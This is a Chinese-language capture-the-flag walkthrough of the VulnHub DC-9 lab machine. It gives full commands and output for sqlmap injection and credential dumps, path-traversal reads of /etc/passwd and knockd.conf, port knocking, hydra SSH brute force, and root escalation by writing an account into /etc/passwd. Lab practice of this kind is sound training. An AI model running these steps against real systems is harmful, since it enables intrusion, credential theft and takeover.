DC-9
靶机介绍
靶机下载地址:https://download.vulnhub.com/dc/DC-9.zip
环境搭建
可以用vmware导入,也可以使用virtualbox导入,但是要注意网络设置,需要与你的攻击机处于同一网段。
靶机渗透
信息收集
扫描主机
192.168.98.146
扫描端口
可以看到22端口是filtered状态,注意这点,直接ssh连接是关闭的,需要开放才能连接
指纹识别
没什么情报。。
目录扫描
漏洞挖掘
sql注入
search的地方发现了sql注入,但是在manage没有发现:
sqlmap跑数据库:
sqlmap -r dc9.txt --dbs
将数据包保存为dc9.txt ,并在search注入点上标志*号,跑出来3个数据库:
information_schema
Staff
users
查表:
sqlmap -r dc9.txt -D Staff --tables --batch
查字段:
sqlmap -r dc9.txt -D Staff -T Users --columns -batch
Staff数据中的Users表:
sqlmap -r dc9.txt -D Staff -T Users --dump
856f5de590ef37314e7c3bdf6f8a66dc (transorbital1) | admin
sqlmap -r dc9.txt -D Staff -T StaffDetails --dump --batch
查Users数据库表:
sqlmap -r dc9.txt -D Users --tables --batch
sqlmap -r dc9.txt -D users -T UserDetails --dump
+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname | password | reg_date | username | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary |
| 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie |
| 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred |
| 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney |
| 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom |
| 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry |
| 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma |
| 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty |
| 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler |
| 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey |
| 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel |
| 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross |
| 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica |
| 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe |
| 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter |
| 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald |
| 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott |
+----+------------+---------------+---------------------+-----------+-----------+
MD5(https://cn.freemd5.com/index.php)解码一下password的密码
856f5de590ef37314e7c3bdf6f8a66dc
transorbital1
文件包含漏洞
登录成功,但是报错:文件不存在
尝试文件包含,发现确实存在文件包含
welcome.php?file=../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
marym:x:1001:1001:Mary Moe:/home/marym:/bin/bash
julied:x:1002:1002:Julie Dooley:/home/julied:/bin/bash
fredf:x:1003:1003:Fred Flintstone:/home/fredf:/bin/bash
barneyr:x:1004:1004:Barney Rubble:/home/barneyr:/bin/bash
tomc:x:1005:1005:Tom Cat:/home/tomc:/bin/bash
jerrym:x:1006:1006:Jerry Mouse:/home/jerrym:/bin/bash
wilmaf:x:1007:1007:Wilma Flintstone:/home/wilmaf:/bin/bash
bettyr:x:1008:1008:Betty Rubble:/home/bettyr:/bin/bash
chandlerb:x:1009:1009:Chandler Bing:/home/chandlerb:/bin/bash
joeyt:x:1010:1010:Joey Tribbiani:/home/joeyt:/bin/bash
rachelg:x:1011:1011:Rachel Green:/home/rachelg:/bin/bash
rossg:x:1012:1012:Ross Geller:/home/rossg:/bin/bash
monicag:x:1013:1013:Monica Geller:/home/monicag:/bin/bash
phoebeb:x:1014:1014:Phoebe Buffay:/home/phoebeb:/bin/bash
scoots:x:1015:1015:Scooter McScoots:/home/scoots:/bin/bash
janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash
janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash
knockd
ssh端口
做到这里不知道怎么办了,查看大佬的wp,发现了一个新的知识点,来包含这个文件:
GET /welcome.php?file=../../../../../../../../../etc/knockd.conf
UseSyslog
[openSSH]
sequence = 7469,8475,9842
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
knockd
知识补充:
/etc/knockd.conf
是一个配置文件,通常用于 Linux 系统上的 knockd
服务。knockd
是一个基于 TCP 端口的防火墙规则管理工具,它允许用户通过一系列特定的端口敲击(即发送 TCP 包到特定的端口)来开启或关闭防火墙规则。
这个配置文件包含了一系列的指令,定义了如何响应端口敲击。配置文件中的每一行通常包含以下元素:
- sequence: 一系列端口号,按照特定的顺序敲击这些端口将触发规则。
- command: 当端口敲击匹配时执行的命令,通常用于打开或关闭防火墙规则。
- tcpflags: 指定端口敲击时需要匹配的 TCP 标志,例如 SYN、ACK 等。
- interface: 指定端口敲击应该在哪个网络接口上监听。
- id: 为规则分配一个唯一的标识符,方便管理和引用。
就是说进行直接扫描端口扫描不出来,只有进行固定knockd的访问才能打开
查看配置文件发现需要连续访问的端口
尝试连接被拒绝了:
现在轮流敲
nmap 192.168.98.146 -p 7469
nmap 192.168.98.146 -p 8475
nmap 192.168.98.146 -p 9842
测试ssh连接:
发现现在可以通过ssh连接了,只是没有密码,但是可以访问了。
爆破ssh
将之前爆破的users的账号密码,提取出来进行ssh的爆破:
下面这个提取语句并不适用所有版本
cat UserDetails.csv | awk -F ',' '{print $5}' > username.txt
cat UserDetails.csv | awk -F ',' '{print $3}' > password.txt
hydra -L username.txt -P password.txt ssh://192.168.98.146
爆破出来3个账户
login: chandlerb password: UrAG0D!
login: joeyt password: Passw0rd
login: janitor password: Ilovepeepee
登录janitor发现了隐藏文件
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
将其加入到password中再次进行爆破,成功多爆破出一个账号密码尝试登录:
login: fredf password: B4-Tru3-001
ssh登录:
提权
sudo -l
发现/opt/devstuff/dist/test/test
文件有root权限
执行了一下发现执行不了,再上一层目录发现了源码test.py脚本:
代码的意思是将第一个文件的内容写入第二个文件中
所以我们可以创建一个文件写入root权限的信息,然后用test将其写入到/etc/passwd中
penssl passwd -1 -salt admin admin
$1$admin$1kgWpnZpUx.vTroWPXPIB0
# 将内容写入到/tmp/test2中
echo 'admin1:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /tmp/test2
# 执行脚本
sudo ./test /tmp/test2 /etc/passwd
查看/etc/passwd
,成功写入:
成功切换到admin1用户:
su admin1
拿下flag
寻找flag:
find / -name *flag*
总结
- sql注入探测:
1' or 1=1 #
- 文件包含漏洞
-
knockd
服务 - ssh爆破
- 写入账户到
/etc/passwd
提权